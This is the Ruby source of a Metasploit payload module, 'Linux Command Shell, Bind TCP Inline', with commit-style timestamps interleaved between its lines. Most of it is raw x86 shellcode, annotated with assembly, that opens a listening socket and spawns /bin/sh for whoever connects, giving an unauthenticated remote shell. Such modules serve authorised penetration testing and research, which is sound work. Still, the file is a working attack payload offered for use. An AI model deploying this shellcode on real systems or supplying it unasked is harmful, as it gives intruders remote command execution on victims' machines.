2007-02-18 00:10:39 +00:00
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##
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2017-07-24 06:26:21 -07:00
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# This module requires Metasploit: https://metasploit.com/download
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2013-10-15 13:50:46 -05:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2007-02-18 00:10:39 +00:00
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##
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2005-07-17 07:43:24 +00:00
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2016-03-08 14:02:44 +01:00
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module MetasploitModule
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2005-07-17 07:43:24 +00:00
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2015-03-12 02:30:06 -05:00
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CachedSize = 78
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2015-03-09 15:31:04 -05:00
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2005-07-17 07:43:24 +00:00
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include Msf::Payload::Single
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2007-06-09 02:25:31 +00:00
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include Msf::Payload::Linux
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2010-02-24 01:19:59 +00:00
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include Msf::Sessions::CommandShellOptions
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2005-07-17 07:43:24 +00:00
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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2012-09-19 11:55:30 -03:00
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'Author' => 'Ramon de C Valle',
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2006-01-21 22:10:20 +00:00
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'License' => MSF_LICENSE,
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2005-07-17 07:43:24 +00:00
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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2010-12-27 17:46:42 +00:00
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'Session' => Msf::Sessions::CommandShellUnix,
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2005-07-17 07:43:24 +00:00
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'Payload' =>
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{
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'Offsets' =>
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{
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2007-07-31 02:10:49 +00:00
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'LPORT' => [ 21, 'n' ],
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2005-07-17 07:43:24 +00:00
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},
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2012-09-04 04:21:24 -05:00
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# TODO: Payload source needs serious cleanup. This payload was
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# originally generated from
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# external/source/unixasm/lin-x86-bndsockcode.s which supposedly
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# worked when it was initially committed. Nevertheless, it was
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# calling bind(2) with insane parameters, which ended up erroring out
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# and causing execution to fall off the end of the shellcode,
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# bursting into flames. See #7216, #7224
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2005-07-17 07:43:24 +00:00
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'Payload' =>
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2018-05-01 04:57:42 -05:00
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"\x31\xdb" + # xorl %ebx,%ebx #
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"\xf7\xe3" + # mull %ebx #
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"\x53" + # pushl %ebx #
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"\x43" + # incl %ebx #
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"\x53" + # pushl %ebx #
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"\x6a\x02" + # pushl $0x02 #
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"\x89\xe1" + # movl %esp,%ecx #
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"\xb0\x66" + # movb $0x66,%al #
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"\xcd\x80" + # int $0x80 #
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"\x5b" + # popl %ebx #
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"\x5e" + # popl %esi #
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"\x52" + # pushl %edx #
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"\x68\x02\x00\x04\xd2" + # pushl $0xd2040200 #
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"\x6a\x10" + # pushl $0x10 #
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"\x51" + # pushl %ecx #
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"\x50" + # pushl %eax #
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"\x89\xe1" + # movl %esp,%ecx #
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"\x6a\x66" + # pushl $0x66 #
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"\x58" + # popl %eax #
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"\xcd\x80" + # int $0x80 #
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"\x89\x41\x04" + # movl %eax,0x04(%ecx) #
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"\xb3\x04" + # movb $0x04,%bl #
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"\xb0\x66" + # movb $0x66,%al #
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"\xcd\x80" + # int $0x80 #
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"\x43" + # incl %ebx #
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"\xb0\x66" + # movb $0x66,%al #
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"\xcd\x80" + # int $0x80 #
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"\x93" + # xchgl %eax,%ebx #
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"\x59" + # popl %ecx #
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"\x6a\x3f" + # pushl $0x3f #
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"\x58" + # popl %eax #
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"\xcd\x80" + # int $0x80 #
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"\x49" + # decl %ecx #
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"\x79\xf8" + # jns <bndsockcode+50> #
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"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
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"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
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"\x89\xe3" + # movl %esp,%ebx #
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"\x50" + # pushl %eax #
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"\x53" + # pushl %ebx #
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"\x89\xe1" + # movl %esp,%ecx #
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"\xb0\x0b" + # movb $0x0b,%al #
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"\xcd\x80" # int $0x80 #
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2005-07-17 07:43:24 +00:00
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}
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))
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end
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2010-02-24 01:19:59 +00:00
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end
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